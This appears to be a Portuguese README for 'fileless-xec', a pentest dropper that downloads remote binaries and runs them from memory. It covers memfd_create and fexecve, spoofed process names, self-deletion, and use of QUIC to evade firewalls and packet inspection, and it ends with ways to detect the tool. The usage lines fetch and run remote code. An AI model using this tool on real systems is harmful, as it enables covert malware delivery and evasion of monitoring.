
Stealth dropper executando binários remotos sem gravá-los no disco .(Suporte a HTTP3, suporte a ICMP, rastros invisíveis, multiplataforma,...)

👋 Certamente útil, principalmente por diversão, vagamente inspirado no artigo 0x00 artigo
Uso em Pentest: fileless-xec é usado na máquina alvo para executar de forma furtiva um arquivo binário localizado na máquina atacante
fileless-xec nos permite executar um binário remoto em uma máquina local diretamente da memória sem gravá-lo no disco
fileless-xec [binary_url] (~curl | sh para binários)fileless-xec -n /usr/sbin/sshd [binary_url]tty: fileless-xec --setsid [...]
writeNsleep localizado em uma máquina remota.
Primeiro, iniciamos um servidor http python no remoto.
Localmente, usamos fileless-xec e nos passamos pelo nome /usr/sbin/sshd para a execução do binário writeNsleep (para furtividade e diversão). Quando o writeNsleep inicia, o fileless-xec se auto-deleta (--self-remove)
fileless-xecfileless-xec
fileless-xec no windowsfileless-xec se auto-remove uma vez lançadoO arquivo binário remoto é armazenado localmente usando a chamada de sistema memfd_create, que o armazena dentro de um disco de memória que não é mapeado no sistema de arquivos (ou seja, você não pode encontrá-lo usando ls).
Nota: a chamada de sistema memfd_create não existe no macOS.
Em seguida, executamos usando a chamada de sistema fexecve (como atualmente não é fornecida pela biblioteca syscall do golang, nós a implementamos).
Com
fexecvepodemos executar um programa, mas referenciamos o programa a ser executado usando um descritor de arquivo, em vez do caminho completo.
Habilite com a flag -Q/http3. Você pode configurar um servidor web rootfs leve com suporte a http3 executando go run ./test/http3/light-server.go -p PORTA DE ESCUTA (Isso é o equivalente http3 de python3 -m http.server <porta_de_escuta>)use test/http3/genkey.sh para gerar certificado e chave.
|
QUIC UDP também conhecido como http3 é um protocolo de Internet de nova geração que acelera aplicações web online que são suscetíveis a atraso, como pesquisa, streaming de vídeo etc., reduzindo o tempo de ida e volta (RTT) necessário para conectar a um servidor.
Como o QUIC usa criptografia proprietária equivalente a TLS (isso mudará no futuro com uma versão padronizada), firewalls de 3ª geração que fornecem controle e visibilidade de aplicações encontram dificuldades para controlar e monitorar o tráfego QUIC.
Se você realmente usar fileless-xec como um dropper (Apenas para fins de teste ou com autorização), você provavelmente desejará executar algum tipo de malware ou outro arquivo que possa ser identificado por análise de pacotes. Portanto, com o Quic habilitado você pode contornar a análise de pacotes e OBTER um malware.
Além disso, no caso de o firewall ser usado apenas para permitir/bloquear tráfego, pode acontecer que as regras do firewall esqueçam o protocolo udp, fazendo com que suas requisições passem despercebidas
Embora não esteja presente no disco de memória, o programa em execução ainda pode ser detectado usando o comando ps, por exemplo.
fileless-xec --name <nome_falso> <binary_raw_url> por padrão o nome é [kworker/u:0]
fileless-xec --setsid <binary_raw_url>.
Você ainda pode ser detectado com:
$ lsof | grep memfd
Ou também opensnoop (mas não pelo execsnoop)
Ou perfil seccomp auditando a chamada de sistema execve (mas é muito sobrecarregante, pois um comando sleep também usa execve, por exemplo)